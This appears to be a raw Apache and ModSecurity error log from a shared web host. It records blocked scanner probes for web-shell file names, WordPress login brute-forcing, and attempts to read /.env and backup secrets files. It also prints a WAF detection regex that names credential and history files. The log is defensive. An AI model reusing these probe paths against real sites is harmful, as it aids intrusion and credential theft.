https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:10:46.389496 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:10:46.496858 2026] [security2:error] [pid 531797:tid 531992] [remote 104.155.29.73:56373] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.29.155.104.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "inspirationalspeakerstm.ca"] [uri "/wp-login.php"] [unique_id "ai3xhsTA7b1mZrmcA-8nVQACVX8"] [Sat Jun 13 18:10:46.602916 2026] [security2:error] [pid 531797:tid 532048] [client 20.9.67.71:36110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/777.php"] [unique_id "ai3xhsTA7b1mZrmcA-8nWAAAAkY"] [Sat Jun 13 18:10:46.648561 2026] [access_compat:error] [pid 531155:tid 531255] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:46.648829 2026] [access_compat:error] [pid 531155:tid 531255] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:46.700417 2026] [security2:error] [pid 531797:tid 531895] [remote 104.155.29.73:56373] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.29.155.104.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "inspirationalspeakerstm.ca"] [uri "/wp-login.php"] [unique_id "ai3xhsTA7b1mZrmcA-8nWwACfh8"], referer: https://inspirationalspeakerstm.ca/wp-login.php [Sat Jun 13 18:10:46.737938 2026] [security2:error] [pid 531155:tid 531391] [client 172.171.3.232:18875] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/Jcrop.php"] [unique_id "ai3xhimiP80klyS0Nnr5KQAAAXQ"] [Sat Jun 13 18:10:46.909555 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:10:46.909880 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:10:46.967034 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.64:52436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:46.967490 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.64:52436] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:47.057419 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.59:46633] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:47.057868 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.59:46633] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:47.100897 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.107:45063] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:47.101348 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.107:45063] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:47.262985 2026] [access_compat:error] [pid 531797:tid 531946] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:47.263262 2026] [access_compat:error] [pid 531797:tid 531946] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:47.301834 2026] [security2:error] [pid 531155:tid 531254] [remote 17.22.253.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xhymiP80klyS0Nnr5OAABemI"] [Sat Jun 13 18:10:47.305237 2026] [security2:error] [pid 531797:tid 532085] [client 20.9.67.71:41888] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/momo.php"] [unique_id "ai3xh8TA7b1mZrmcA-8nbgAAAms"] [Sat Jun 13 18:10:47.316832 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.60:51992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:47.317259 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.60:51992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:47.329924 2026] [security2:error] [pid 531797:tid 531884] [remote 17.241.227.141:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 141.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xh8TA7b1mZrmcA-8ncAACdhQ"] [Sat Jun 13 18:10:47.383689 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2U= [Sat Jun 13 18:10:47.384123 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2U= [Sat Jun 13 18:10:47.392440 2026] [security2:error] [pid 531797:tid 532072] [client 20.9.67.71:36103] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/s-axi.php"] [unique_id "ai3xh8TA7b1mZrmcA-8ncgAAAl4"] [Sat Jun 13 18:10:47.520429 2026] [security2:error] [pid 531797:tid 532089] [client 172.171.3.232:35208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/ss.php"] [unique_id "ai3xh8TA7b1mZrmcA-8ndQAAAm4"] [Sat Jun 13 18:10:47.612423 2026] [security2:error] [pid 531155:tid 531310] [client 20.9.67.71:36187] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/wp-scanner.php"] [unique_id "ai3xhymiP80klyS0Nnr5RQAAASM"] [Sat Jun 13 18:10:47.632383 2026] [security2:error] [pid 531155:tid 531289] [client 20.151.217.54:9284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/wp-form.php"] [unique_id "ai3xhymiP80klyS0Nnr5RgAAAQ4"] [Sat Jun 13 18:10:47.849671 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.28:53486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:47.850094 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.28:53486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:47.851790 2026] [security2:error] [pid 531155:tid 531313] [client 20.151.217.54:57486] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/rum.php"] [unique_id "ai3xhymiP80klyS0Nnr5TwAAASY"] [Sat Jun 13 18:10:47.857570 2026] [security2:error] [pid 531155:tid 531362] [client 20.9.67.71:47515] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/loxico93.php"] [unique_id "ai3xhymiP80klyS0Nnr5UAAAAVc"] [Sat Jun 13 18:10:47.962235 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:47.962512 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:48.021162 2026] [security2:error] [pid 531155:tid 531286] [client 20.151.217.54:48109] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/leuk.php"] [unique_id "ai3xiCmiP80klyS0Nnr5WgAAAQs"] [Sat Jun 13 18:10:48.039183 2026] [security2:error] [pid 531155:tid 531377] [client 84.21.190.140:57306] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "muranoaviacion.com"] [uri "/wp-content/plugins/fusion-builder/readme.txt"] [unique_id "ai3xiCmiP80klyS0Nnr5XAAAAWY"] [Sat Jun 13 18:10:48.072702 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.94:24340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:48.073148 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.94:24340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:48.092169 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:48.092612 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:48.158553 2026] [security2:error] [pid 531155:tid 531280] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/sites/default/.env"] [unique_id "ai3xiCmiP80klyS0Nnr5YAABdnw"] [Sat Jun 13 18:10:48.170941 2026] [security2:error] [pid 531797:tid 531997] [client 20.9.67.71:36113] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/crgio.php"] [unique_id "ai3xiMTA7b1mZrmcA-8nigAAAhU"] [Sat Jun 13 18:10:48.209280 2026] [security2:error] [pid 531797:tid 532074] [client 191.233.234.186:40306] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/drykl.php"] [unique_id "ai3xiMTA7b1mZrmcA-8niwAAAmA"] [Sat Jun 13 18:10:48.215868 2026] [security2:error] [pid 531155:tid 531373] [client 20.151.217.54:23748] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.calexpressmovers.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xiCmiP80klyS0Nnr5YQAAAWI"] [Sat Jun 13 18:10:48.319528 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.104:54624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:48.319886 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.104:54624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:48.414594 2026] [security2:error] [pid 531155:tid 531376] [client 208.84.100.62:38072] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "www.palloness.com"] [uri "/.env.production.copy"] [unique_id "ai3xiCmiP80klyS0Nnr5aAAAAWU"] [Sat Jun 13 18:10:48.457793 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjBlL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:10:48.458061 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjBlL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:10:48.464611 2026] [security2:error] [pid 531797:tid 532068] [client 20.9.67.71:47493] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/momo.php"] [unique_id "ai3xiMTA7b1mZrmcA-8nlQAAAlo"] [Sat Jun 13 18:10:48.573465 2026] [security2:error] [pid 531155:tid 531160] [remote 17.241.227.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xiCmiP80klyS0Nnr5bgABaAQ"] [Sat Jun 13 18:10:48.585290 2026] [security2:error] [pid 531797:tid 531900] [remote 17.246.23.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xiMTA7b1mZrmcA-8nmgACTyQ"] [Sat Jun 13 18:10:48.730752 2026] [security2:error] [pid 531155:tid 531195] [remote 17.22.253.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xiCmiP80klyS0Nnr5dgABcSc"] [Sat Jun 13 18:10:48.795176 2026] [access_compat:error] [pid 531797:tid 531881] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:48.795443 2026] [access_compat:error] [pid 531797:tid 531881] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 